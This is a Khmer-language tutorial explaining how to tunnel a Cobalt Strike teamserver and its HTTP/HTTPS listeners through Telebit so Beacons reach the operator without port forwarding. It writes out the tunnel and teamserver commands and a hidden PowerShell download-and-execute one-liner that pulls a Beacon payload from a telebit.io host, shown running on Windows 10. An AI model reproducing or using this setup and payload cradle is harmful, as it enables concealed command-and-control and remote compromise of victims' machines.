ខាងក្រោមនេះជាគំនិតផ្ទាល់ខ្លួនក្នុងការតភ្ជាប់ Teamserver និងប្រើប្រាស់ពាក្យបញ្ជាតាមរយៈ Beacons ពីចំងាយដោយមិនចាំបាច់បើក Port Forwarding ។

Requirements

• CobaltStrike
• Telebit

Telebit Setup

ចំណាំ៖ ចូលទៅកាន់ telebit.cloud ដើម្បីយល់ដឹងបន្ថែមអំពី Configuration ។

នៅក្នុងលីនុចសូមបើកផ្ទាំង Terminal រួចវាយពាក្យបញ្ជាដូខខាងក្រោម៖

1
2

// Install Telebit
curl https://get.telebit.io/ | bash

ក្រោយពីបំពេញអាសយដ្ឋាន Email រួចសូមចូលទៅកាន់ផ្ទាំង Inbox រួចបើកដំណើរដំណភ្ជាប់ដែលគេបានផ្ញើមក និងចម្លងចូលនូវលេខទាំង ៤ ខ្ទង់នោះដើម្បីផ្ទៀងផ្ទាត់ ។

ប្រសិនបើមិនមានអ្វីខុសឆ្គងទេ យើងនឹងទទួលបានសារបញ្ជាក់ពីភាពជោគជ័យដូចខាងក្រោម៖

Usage

តស់! ឥលូវចាប់ផ្ដើមធ្វើការកំណត់នៅលេខ Port សម្រាប់តភ្ជាប់ទៅកាន់ Teamserver និង Beacons

1
2
3
4
5

// Setup Teamserver Port
~/telebit tcp 50050

// Setup HTTP Beacon
~/telebit http 80 //don't change the port

Teamserver Connection

បន្ទាប់មកសូមវាយពាក្យបញ្ជាដូចខាងក្រោមដើម្បីបើកដំណើរការ Teamserver

1

sudo ./teamserver x.x.x.x your_password

ដូច្នេះយើងសាកល្បងតភ្ជាប់ Teamserver ដោយប្រើប្រាស់លេខអាយភីរបស់ telebit.cloud ដូចខាងក្រោម៖

សូមឲ្យប្រាកដថាលេខអាយភី (អាច ping ចេញពី telebit.cloud) លេខច្រក (Port) និង លេខសំងាត់គឺត្រឹមត្រូវមុននិងចុចតភ្ជាប់។

ជោគជ័យ! ឥលូវនេះយើងបានតភ្ជាប់ Teamserver បានសម្រេច។

Adding HTTP/HTTPS Listener

ខាងក្រោមនេះជាវិធីក្នុងការបើកដំណើរការ Listener ពីចំងាយដោយប្រើប្រាស់ Protocol ប្រភេទ HTTP។

ដោយសារតែ Telebit ត្រូវបាន Redirect ទៅកាន់ Protocol ប្រភេទ HTTPS ដូចនេះយើងក៏ត្រូវតែបើក Listener ជាប្រភេទ HTTPS មួយទៀត។

សូមធ្វើការបើក HTTPS Listener ដូចបានបង្ហាញខាងក្រោម៖

Generate Beacon

ការកំណត់ខាងលើរួចរាល់អស់ហើយ ដូចនេះយើងអាចសាកល្បងបង្កើត Beacon ដើម្បីតភ្ជាប់។
នៅក្នុងការបង្ហាញនេះយើងនិងប្រើប្រាស់ការវាយប្រហារបែប Scripted Web Delivery ។

ចំណាំ៖ នៅពេលដែលបានបង្កើតរួចសូមធ្វើការកែប្រែនៅផ្នែកមួយចំនួនដូចជាប្រភេទ Protocol និង Port ដូចខាងក្រោម៖

1
2
3
4
5

// By default it will download from port 80 without https
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://shy-impala-40.telebit.io:80/foo'))"

// Then we have to remove the port and add https instead
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('https://shy-impala-40.telebit.io/foo'))"

Execute

យើងបានសាកល្បងបើកដំណើរការនៅក្នុងវីនដូ ១០ ប្រភេទ Pro x64 Bit ដូចរូបខាងក្រោម៖

ប្ដូទៅមើលផ្ទាំងគ្រប់គ្រង CobaltStrike យើងនឹងទទួលបានការតភ្ជាប់ Beacon ពីវីនដូ ១០ នោះ៕